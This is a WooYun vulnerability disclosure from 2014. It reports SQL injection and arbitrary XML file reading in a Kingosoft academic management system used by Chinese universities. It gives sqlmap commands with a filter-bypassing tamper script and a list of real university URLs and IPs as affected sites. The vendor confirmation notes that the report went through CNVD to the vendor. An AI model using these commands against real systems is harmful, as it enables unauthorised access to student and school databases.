漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-087167
漏洞标题：青苹果教务系统SQL注入+文件读取（绕过WAF）
相关厂商：cncert国家互联网应急中心
漏洞作者： 路人甲
提交时间：2014-12-14 22:47
修复时间：2015-03-14 22:48
公开时间：2015-03-14 22:48
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-12-14： 细节已通知厂商并且等待厂商处理中
2014-12-17： 厂商已经确认，细节仅向厂商公开
2014-12-20： 细节向第三方安全合作伙伴开放
2015-02-10： 细节向核心白帽子及相关领域专家公开
2015-02-20： 细节向普通白帽子公开
2015-03-02： 细节向实习白帽子公开
2015-03-14： 细节向公众公开
简要描述：
某通用教务系统SQL注入+文件读取（绕过WAF）
详细说明：
官方案例非常多：
http://www.kingosoft.com/cgal/mxyh.aspx
漏洞存在于：/xsweb/pub/Yx_Zy_Bj.aspx 多个参数存在漏洞，比如：infozy,Zy,xy等
漏洞代码如下：
漏洞证明：
sqlmap.py -u "http://stu.gxufe.cn/xsweb/pub/Yx_Zy_Bj.aspx?yx=wooyun"
由于该系统有系统的过滤函数，经无数次测试发现 可以使用tamper脚本绕过 --tamper "equaltolike.py"
sqlmap.py -u "http://stu.gxufe.cn/xsweb/pub/Yx_Zy_Bj.aspx?yx=wooyun" --tamper "equaltolike.py" --dbs
文件读取漏洞：
http://szxy.cqsxedu.com/xsweb/_data/NEWS.aspx?href=633409086902360000.xml
修改href即可读取任意xml配置文件，这里不作演示
案例：
http://stu.gxufe.cn/xsweb/pub/Yx_Zy_Bj.aspx?yx=wooyun
http://221.215.217.106/xsweb/pub/Yx_Zy_Bj.aspx?yx=wooyun
http://xsgl.qjnu.edu.cn/xsweb/pub/Yx_Zy_Bj.aspx?yx=wooyun
http://1.85.45.94:800/xsweb/pub/Yx_Zy_Bj.aspx?yx=wooyun
http://szxy.cqsxedu.com/xsweb/pub/Yx_Zy_Bj.aspx?yx=wooyun
漏洞证明：
sqlmap.py -u "http://stu.gxufe.cn/xsweb/pub/Yx_Zy_Bj.aspx?yx=wooyun" --tamper "equaltolike.py" --dbs
修复方案：
过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2014-12-17 16:34
厂商回复：
CNVD确认并复现所述情况，已经由CNVD通过以往建立的处置渠道向软件生产厂商通报
最新状态：
暂无